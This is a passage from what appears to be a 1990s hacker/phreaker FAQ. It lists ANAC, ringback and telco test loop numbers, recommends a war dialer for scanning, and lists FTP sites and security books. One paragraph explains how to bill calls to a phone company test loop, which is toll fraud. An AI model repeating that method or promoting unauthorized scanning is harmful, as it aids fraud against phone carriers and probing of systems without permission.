Please use local ANAC numbers if you can, as abuse or overuse kills 800 ANAC numbers.
NPA ANAC number Comments --- --------------- --------------------------------------------- 201 958 Hackensack/Jersey City/Newark/Paterson, NJ 202 958-xxxx Dictrict of Columbia 203 960 CT (All) 203 970 CT (All) 204 644-xxxx Manitoba 205 908-222-2222 Birmingham, AL 206 411 WA /* Not US West */ 207 958 ME (All) 209 830 Stockton, CA 212 958 Manhattan, NY 213 114 Los Angeles, CA 213 1223 Los Angeles, CA /* some 1AESS switches */ 213 211-2345 Los Angeles, CA /* English response */ 213 211-2346 Los Angeles, CA /* DTMF response */ 213 61056 Los Angeles, CA 214 790 Dallas, TX /* GTE */ 214 970-222-2222 Dallas, TX 214 970-611-1111 Dallas, TX /* Southwestern Bell */ 215 410-xxxx Philadelphia, PA 217 200-xxx-xxxx Champaign-Urbana/Springfield, IL 301 958-9968 Hagerstown/Rockville, MD 305 200-222-2222 Ft. Lauderdale/Key West/Miami, FL 309 200-xxx-xxxx Peoria/Rock Island, IL 310 114 Long Beach, CA /* on many GTE switches */ 310 1223 Long Beach, CA /* some 1AESS switches */ 310 211-2345 Long Beach, CA /* English response */ 310 211-2346 Long Beach, CA /* DTMF response */ 312 1-200-5863 Chicago, IL 312 200-xxx-xxxx Chicago, IL 312 290 Chicago, IL 313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI 313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI 313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI 313 200200200200200 Ann Arbor/Dearborn/Detroit, MI 314 511 Columbia/Jefferson City, MO 317 310-222-2222 Indianapolis/Kokomo, IN 317 743-1218 Indianapolis/Kokomo, IN 401 222-2222 RI (All) 402 311 Lincoln, NE 403 311 Alberta, Yukon and N.W. Territory 403 908-222-2222 Alberta, Yukon and N.W. Territory 403 999 Alberta, Yukon and N.W. Territory 404 311 Atlanta, GA 404 940-xxx-xxxx Atlanta, GA 405 897 Enid/Oklahoma City, OK 407 200-222-2222 Orlando/West Palm Beach, FL 408 300-xxx-xxxx San Jose, CA 408 760 San Jose, CA 408 940 San Jose, CA 409 951 Beaumont/Galveston, TX 409 970-xxxx Beaumont/Galveston, TX 410 200-555-1212 Annapolis/Baltimore, MD 410 811 Annapolis/Baltimore, MD 412 711-6633 Pittsburgh, PA 412 711-4411 Pittsburgh, PA 412 999-xxxx Pittsburgh, PA 413 958 Pittsfield/Springfield, MA 413 200-555-5555 Pittsfield/Springfield, MA 414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 200-555-1212 San Francisco, CA 415 211-2111 San Francisco, CA 415 2222 San Francisco, CA 415 640 San Francisco, CA 415 760-2878 San Francisco, CA 415 7600-2222 San Francisco, CA 419 311 Toledo, OH 502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY 503 611 Portland, OR /* not all parts of town */ 508 958 Fall River/New Bedford/Worchester, MA 508 200-222-1234 Fall River/New Bedford/Worchester, MA 508 200-222-2222 Fall River/New Bedford/Worchester, MA 509 560 Spokane/Walla Walla/Yakima, WA 512 200-222-2222 Austin/Corpus Christi, TX 512 830 Austin/Corpus Christi, TX 512 970-xxxx Austin/Corpus Christi, TX 514 320-xxxx Montreal, Quebec 515 5463 Des Moines, IA 516 958 Hempstead/Long Island, NY 516 968 Hempstead/Long Island, NY 517 200-222-2222 Bay City/Jackson/Lansing, MI 517 200200200200200 Bay City/Jackson/Lansing, MI 518 997 Albany/Schenectady/Troy, NY 518 998 Albany/Schenectady/Troy, NY 602 593-0809 Phoenix, AZ 602 593-6017 Phoenix, AZ 602 593-7451 Phoenix, AZ 603 200-222-2222 NH (All) 606 997-555-1212 Ashland/Winchester, KY 607 993 Binghamton/Elmira, NY 609 958 Atlantic City/Camden/Trenton/Vineland, NJ 612 511 Minneapolis/St.Paul, MN 615 200200200200200 Nashville, TN 615 830 Nashville, TN 616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI 617 200-222-1234 Boston, MA 617 200-222-2222 Boston, MA 617 200-444-4444 Boston, MA /* Woburn, MA */ 617 220-2622 Boston, MA 617 958 Boston, MA 618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL 708 1-200-xxxx Chicago/Elgin, IL 713 970-xxxx Houston, TX 714 211-2121 Anaheim, CA /* GTE */ 716 511 Buffalo/Niagra Falls/Rochester, NY /* Rochester Tel */ 717 958 Harrisburg/Scranton/Wilkes-Barre, PA 718 958 Bronx/Brooklyn/Queens/Staten Island, NY 802 2-222-222-2222 Vermont (All) 802 200-222-2222 Vermont (All) 805 830 San Luis Obispo, CA 806 970-xxxx Amarillo/Lubbock, TX 810 200200200200200 Michigan 812 410-555-1212 Evansville, IN 813 270-8711 Ft. Meyers/St. Petersburg/Tampa, FL 815 200-xxx-xxxx La Salle/Rockford, IL 815 290 La Salle/Rockford, IL 817 211 Ft. Worth/Waco, TX 817 970-611-1111 Ft. Worth/Waco, TX /* Southwestern Bell */ 818 1223 Pasadena, CA /* some 1AESS switches */ 818 211-2345 Pasadena, CA /* English response */ 818 211-2346 Pasadena, CA /* DTMF response */ 906 200-222-2222 Marquette/Sault Ste. Marie, MI 908 958 New Brunswick, NJ 910 311 Fayetteville/Greensboro/Raliegh/Winston-Salem, NC 914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY 915 970-xxxx Abilene/El Paso, TX 919 711 Durham, NC Canada: 306 115 Saskatchewan, Canada 416 410-xxxx Toronto, Ontario 416 997-xxxx Toronto, Ontario 519 320-xxxx London, Ontario 604 1116 British Columbia, Canada 604 1211 British Columbia, Canada 604 211 British Columbia, Canada 613 320-2232 Ottawa, Ontario 705 320-xxxx Saulte Ste. Marie, Ontario Australia: +61 03-552-4111 Victoria 03 area +61 19123 All major capital cities
In most instances you must call the ringback number, quickly hang up
the phone for just a short moment and then let up on the switch, you
will then go back off hook and hear a different tone. You may then
hang up. You will be called back seconds later.
10. What is the ringback number for my area?
202 958-xxxx District of Columbia 203 991-xxxx CT (All) 209 890-xxxx Stockton, CA 213 1-95x-xxxx Los Angeles, CA 301 958-xxxx Hagerstown/Rockville, MD 303 99X-xxxx Grand Junction, CO 312 200-xxxx Chicago, IL 412 985-xxxx Pittsburgh, PA 415 350-xxxx San Francisco, CA 416 57x-xxxx Toronto, Ontario 416 99x-xxxx Toronto, Ontario 416 999-xxx-xxxx Toronto, Ontario 502 988 Lexington, KY 512 95X-xxxx Austin, TX 514 320-xxxx Montreal, Quebec 601 777-xxxx MS (All) 619 331-xxxx San Diego, CA 619 332-xxxx San Diego, CA 703 958-xxxx Alexandria/Arlington/Roanoke, VA 716 981-xxxx Rochester, NY /* Rochester Tel */ 719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO 801 938-xxxx Utah (All) 801 939-xxxx Utah (All) 813 711 Ft. Meyers/St. Petersburg/Tampa, FL Australia: +61 199
Loops are a pair of phone numbers, usually consecutive, like 836-9998
and 836-9999. They are used by the phone company for testing. What
good do loops do us? Well, they are cool in a few ways. Here is a
simple use of loops. Each loop has two ends, a 'high' end, and a
'low' end. One end gives a (usually) constant, loud tone when it is
called. The other end is silent. Loops don't usually ring either.
When BOTH ends are called, the people that called each end can talk
through the loop. Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you. Here's
what you can use working loops for: billing phone calls! First, call
the end that gives the loud tone. Then if the operator or someone
calls the other end, the tone will go quiet. Act like the phone just
rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
what the fuck ever. The operator thinks that she just called you, and
that's it! Now the phone bill will go to the loop, and your local
RBOC will get the bill! Use this technique in moderation, or the loop
may go down. Loops are probably most useful when you want to talk to
someone to whom you don't want to give your phone number.
12. What is a loop in my area?
Many of these loops are no longer functional. If you are local
to any of these loops, please try them out an e-mail me the results
of your research.
NPA High Low --- -------- -------- 201 228-9929 228-9930 201 238-9929 238-9930 201 251-9929 251-9930 201 254-9929 254-9930 201 272-9929 272-9930 201 330-9929 330-9930 201 333-9929 333-9930 201 339-9929 339-9930 201 347-9929 347-9930 201 376-9929 376-9930 201 398-9929 398-9930 201 467-9929 467-9930 201 528-9929 528-9930 201 558-9929 558-9930 201 559-9929 559-9930 201 560-9929 560-9930 201 592-9929 592-9930 201 625-9929 625-9930 201 631-9929 631-9930 201 637-9929 637-9930 201 655-9929 655-9930 201 666-9929 666-9930 201 690-9929 690-9930 201 761-9929 761-9930 201 762-9929 762-9929 201 762-9929 762-9930 201 762-9929 762-9929 201 763-9929 763-9930 201 764-9929 764-9930 201 767-9929 767-9930 201 768-9929 768-9930 201 773-9929 773-9930 201 879-9929 879-9930 201 946-9929 946-9930 201 992-9929 992-9930 201 993-9929 993-9930 201 994-9929 994-9930 213 360-1118 360-1119 213 365-1118 365-1119 213 455-0002 455-xxxx 213 455-0002 455-XXXX 213 546-0002 546-XXXX 213 546-0002 546-xxxx 305 778-9952 778-9951 305 964-9951 964-9952 312 222-9973 222-9974 312 234-9973 234-9974 313 224-9996 224-9997 313 225-9996 225-9997 313 234-9996 234-9997 313 237-9996 237-9997 313 256-9996 256-9997 313 272-9996 272-9997 313 273-9996 273-9997 313 277-9996 277-9997 313 281-9996 281-9997 313 292-9996 292-9997 313 299-9996 299-9997 313 321-9996 321-9997 313 326-9996 326-9997 313 356-9996 356-9997 313 362-9996 362-9997 313 369-9996 369-9997 313 388-9996 388-9997 313 397-9996 397-9997 313 399-9996 399-9997 313 445-9996 445-9997 313 465-9996 465-9997 313 471-9996 471-9997 313 474-9996 474-9997 313 477-9996 477-9997 313 478-9996 478-9997 313 483-9996 483-9997 313 497-9996 497-9997 313 526-9996 526-9997 313 552-9996 552-9997 313 556-9996 556-9997 313 561-9996 561-9997 313 569-9996 569-9996 313 575-9996 575-9997 313 577-9996 577-9997 313 585-9996 585-9997 313 591-9996 591-9997 313 621-9996 621-9997 313 626-9996 626-9997 313 644-9996 644-9997 313 646-9996 646-9997 313 647-9996 647-9997 313 649-9996 649-9997 313 663-9996 663-9997 313 665-9996 665-9997 313 683-9996 683-9997 313 721-9996 721-9997 313 722-9996 722-9997 313 728-9996 728-9997 313 731-9996 731-9997 313 751-9996 751-9997 313 776-9996 776-9997 313 781-9996 781-9997 313 787-9996 787-9997 313 822-9996 822-9997 313 833-9996 833-9997 313 851-9996 851-9997 313 871-9996 871-9997 313 875-9996 875-9997 313 886-9996 886-9997 313 888-9996 888-9997 313 898-9996 898-9997 313 934-9996 934-9997 313 942-9996 942-9997 313 963-9996 963-9997 313 977-9996 977-9997 313 995-9996 995-9997 402 422-0001 422-0002 402 422-0005 422-0006 402 422-0007 422-0008 402 422-0003 422-0004 402 422-0005 422-0006 402 422-0007 422-0008 402 422-0009 ALL-PREF 402 422-0003 422-0004 402 422-0009 ALL-PREF 402 422-0001 422-0002 402 572-0003 572-0004 517 422-9996 422-9997 517 423-9996 423-9997 517 455-9996 455-9997 517 563-9996 563-9997 517 663-9996 663-9997 517 851-9996 851-9997 609 921-9929 921-9930 609 994-9929 994-9930 616 997-9996 997-9997 616 ALL-PREF ALL-PREF 713 224-1499 759-1799 713 324-1499 324-1799 713 342-1499 342-1799 713 351-1499 351-1799 713 354-1499 354-1799 713 356-1499 356-1799 713 442-1499 442-1799 713 447-1499 447-1799 713 455-1499 455-1799 713 458-1499 458-1799 713 462-1499 462-1799 713 466-1499 466-1799 713 468-1499 468-1799 713 469-1499 469-1799 713 471-1499 471-1799 713 481-1499 481-1799 713 482-1499 482-1799 713 484-1499 484-1799 713 487-1499 487-1799 713 489-1499 489-1799 713 492-1499 492-1799 713 493-1499 493-1799 713 524-1499 524-1799 713 526-1499 526-1799 713 555-1499 555-1799 713 661-1499 661-1799 713 664-1499 664-1799 713 665-1499 665-1799 713 666-1499 666-1799 713 667-1499 667-1799 713 682-1499 976-1799 713 771-1499 771-1799 713 780-1499 780-1799 713 781-1499 997-1799 713 960-1499 960-1799 713 977-1499 977-1799 713 988-1499 988-1799 714 535-1118 535-1119 714 538-1118 538-1119 714 858-1118 858-1119 714 879-1118 879-1119 805 528-0044 528-0045 805 544-0044 544-0045 805 773-0044 773-0045 813 385-9971 908 776-9930 776-9930
Normal CNA numbers are available only to telephone company personnel. Private citizens may now legally get CNA information from private companies. Two such companies are:
Unidirectory (900)933-3330 Telename (900)884-1212Note that these are 900 numbers, and will cost you approximately one dollar per minute.
Scanning can be done by hand, although dialing several thousand telephone numbers by hand is extremely boring and takes a long time.
Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC-DOS users is ToneLoc .99b8.
A war dialer will dial a range of numbers and log what it finds at
each number. You can then only dial up the numbers that the war
dialer marked as carriers or tones.
16. Is scanning illegal?
Excerpt from: 2600, Spring 1990, Page 27:
-BQ- In some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. But there is no uniform policy. The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try. -EQ-
It should be noted that a law making scanning illegal was recently
passed in Colorado Springs, CO. It is now illegal to place a call
in Colorado Springs without the intent to communicate.
Section C: Resources
01. What are some ftp sites of interest to hackers?
machine aql.gatech.edu login anonymous password root@ machine bellcore.com login anonymous password root@ machine cert.org login anonymous password root@ machine crimelab.com login anonymous password root@ machine cyberspace.com login anonymous password root@ machine deimos.cs.uah.edu login anonymous password root@ machine ftp.csua.berkeley.edu login anonymous password root@ machine ftp.eff.org login anonymous password root@ machine ftp.etext.org login anonymous password root@ machine ftp.mcs.com login anonymous password root@ machine ftp.netcom.com login anonymous password root@ machine ftp.netcom.com login anonymous password root@ machine ftp.std.com login anonymous password root@ machine ftp.std.com login anonymous password root@ machine ftp.warwick.ac.uk login anonymous password root@ machine ftp.win.tue.nl login anonymous password root@ machine ftp.winternet.com login anonymous password root@ machine garbo.uwasa.fi login anonymous password root@ machine ghost.dsi.unimi.it login anonymous password root@ machine grind.isca.uiwa.edu login anonymous password root@ machine hack-this.pc.cc.cmu.edu login anonymous password root@ machine halcyon.com login anonymous password root@ machine ideal.ios.net login anonymous password root@ machine lcs.mit.edu login anonymous password root@ machine mary.iia.org login anonymous password root@ machine nic.funet.fi login anonymous password root@ machine paradox1.denver.colorado.edu login anonymous password root@ machine ripem.msu.edu login anonymous password root@ machine rtfm.mit.edu login anonymous password root@ machine sekurity.com login anonymous password root@ machine spy.org login anonymous password root@ machine theta.iis.u-tokyo.ac.jp login anonymous password root@ machine vincent2.iastate.edu login anonymous password mabell machine wimsey.bc.ca login anonymous password root@
Computer Security Basics Author: Deborah Russell and G.T. Gengemi Sr. Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-71-4This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert.
Computer Security Management Author: Karen Forcht Publisher: Boyd and Fraser Copyright Date: 1994 ISBN: 0-87835-881-1 Information Systems Security Author: Philip Fites and Martin Kratz Publisher: Van Nostrad Reinhold Copyright Date: 1993 ISBN: 0-442-00180-0
Practical Unix Security Author: Simson Garfinkel and Gene Spafford Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-72-2Finally someone with a very firm grasp of Unix system security gets down to writing a book on the subject. Buy this book. Read this book.
Firewalls and Internet Security Author: William Cheswick and Steven Bellovin Publisher: Addison Wesley Copyright Date: 1994 ISBN: 0-201-63357-4 Unix System Security Author: Rik Farrow Publisher: Addison Wesley Copyright Date: 1991 ISBN: 0-201-57030-0 Unix Security: A Practical Tutorial Author: N. Derek Arnold Publisher: McGraw Hill Copyright Date: 1993 ISBN: 0-07-002560-6 Unix System Security: A Guide for Users and Systems Adiministrators Author: David A. Curry Publisher: Addison-Wesley Copyright Date: 1992 ISBN: 0-201-56327-4 Unix System Security Author: Patrick H. Wood and Stephen G. Kochan Publisher: Hayden Books Copyright Date: 1985 ISBN: 0-672-48494-3
Network Security Secrets Author: David J. Stang and Sylvia Moon Publisher: IDG Books Copyright Date: 1993 ISBN: 1-56884-021-7Not a total waste of paper, but definitely not worth the $49.95 purchase price. The book is a rehash of previously published information. The only secret we learn from reading the book is that Sylvia Moon is a younger woman madly in love with the older David Stang.
Complete Lan Security and Control Author: Peter Davis Publisher: Windcrest / McGraw Hill Copyright Date: 1994 ISBN: 0-8306-4548-9 and 0-8306-4549-7 Network Security Author: Steven Shaffer and Alan Simon Publisher: AP Professional Copyright Date: 1994 ISBN: 0-12-638010-4
Applied Cryptography: Protocols, Algorithms, and Source Code in C Author: Bruce Schneier Publisher: John Wiley & Sons Copyright Date: 1994 ISBN: 0-471-59756-2Bruce Schneier's book replaces all other texts on cryptography. If you are interested in cryptography, this is a must read. This may be the first and last book on cryptography you may ever need to buy.
Cryptography and Data Security Author: Dorothy Denning Publisher: Addison-Wesley Publishing Co. Copyright Date: 1982 ISBN: 0-201-10150-5
The Little Black Book of Computer Viruses Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1990 ISBN: 0-929408-02-0The original, and still the best, book on computer viruses. No media hype here, just good clean technical information.
Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1
Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X
The Hacker Crackdown: Law and Disorder on the Electronic Frontier Author: Bruce Sterling Publisher: Bantam Books Copyright Date: 1982 ISBN: 0-553-56370-XBruce Sterling has recently released the book FREE to the net. The book is much easier to read in print form, and the paperback is only $5.99. Either way you read it, you will be glad you did. Mr. Sterling is an excellent science fiction author and has brought his talent with words to bear on the hacking culture. A very enjoyable reading experience.
Cyberpunk Author: Katie Hafner and John Markoff Publisher: Simon and Schuster Copyright Date: 1991 ISBN: 0-671-77879-X The Cuckoo's Egg Author: Cliff Stoll Publisher: Simon and Schuster Copyright Date: 1989 ISBN: 0-671-72688-9 Hackers: Heroes of the Computer Revolution Author: Steven Levy Publisher: Doubleday Copyright Date: 1984 ISBN: 0-440-13495-6
Secrets of a Super Hacker Author: The Knightmare Publisher: Loompanics Copyright Date: 1994 ISBN: 1-55950-106-5The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing. The Knightmare's best hack is fooling Loompanics into publishing this garbage.
The Day The Phones Stopped Author: Leonard Lee Publisher: Primus / Donald I Fine, Inc. Copyright Date: 1992 ISBN: 1-55611-286-6Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer.
Information Warfare Author: Winn Swartau Publisher: Thunder Mountain Press Copyright Date: 1994 ISBN: 1-56025-080-1
Name: Cert Tools Address: cert-tools@cert.org To register: cert-tools-request@cert.org Name: rfc931-users Address: rfc931-users@kramden.acf.nyu.edu To register: brnstnd@nyu.edu Name: Computers and Society Address: Comp-Soc@limbo.intuitive.com To register: taylor@limbo.intuitive.com Name: CPSR Announcement List Address: cpsr-announce@cpsr.org To register: Name: Intellectual Property Address: cpsr-int-prop@cpsr.org To register: Name: CPSR Internet Library Address: cpsr-library@cpsr.org To register: Name: Coordinated Feasibility Effort to Unravel State Data Address: ldc-sw@cpsr.org To register: Name: Macintosh Security Address: mac-security@eclectic.com To register: mac-security-request@eclectic.com Name: NeXT Managers Address: To register: next-managers-request@stolaf.edu Name: RSA Users Address: rsaref-users@rsa.com To register: rsaref-users-request@rsa.com Name: Security Address: security@aim.rutgers.edu To register: security-request@aim.rutgers.edu
TLA Three Letter Acronym ACL Access Control List PIN Personal Identification Number TCB Trusted Computing Base ALRU Automatic Line Record Update AN Associated Number ARSB Automated Repair Service Bureau ATH Abbreviated Trouble History BOC Bell Operating Company BOR Basic Output Report CA Cable COE Central Office Equipment CMC Construction Maintenance Center CNID Calling Number IDentification CO Central Office COCOT Customer Owned Coin Operated Telephone CRSAB Centralized Repair Service Answering Bureau DDD Direct Distance Dialing ECC Enter Cable Change LD Long Distance LMOS Loop Maintenance Operations System MLT Mechanized Loop Testing NPA Numbering Plan Area POTS Plain Old Telephone Service RBOC Regional Bell Operating Company RSB Repair Service Bureau SS Special Service TAS Telephone Answering Service TH Trouble History TREAT Trouble Report Evaluation and Analysis Tool NTA The Nocturnal Trading Alliance PE Public Enemy TDT The Dream Team THG The Humble Guys THP The Hill People
EOT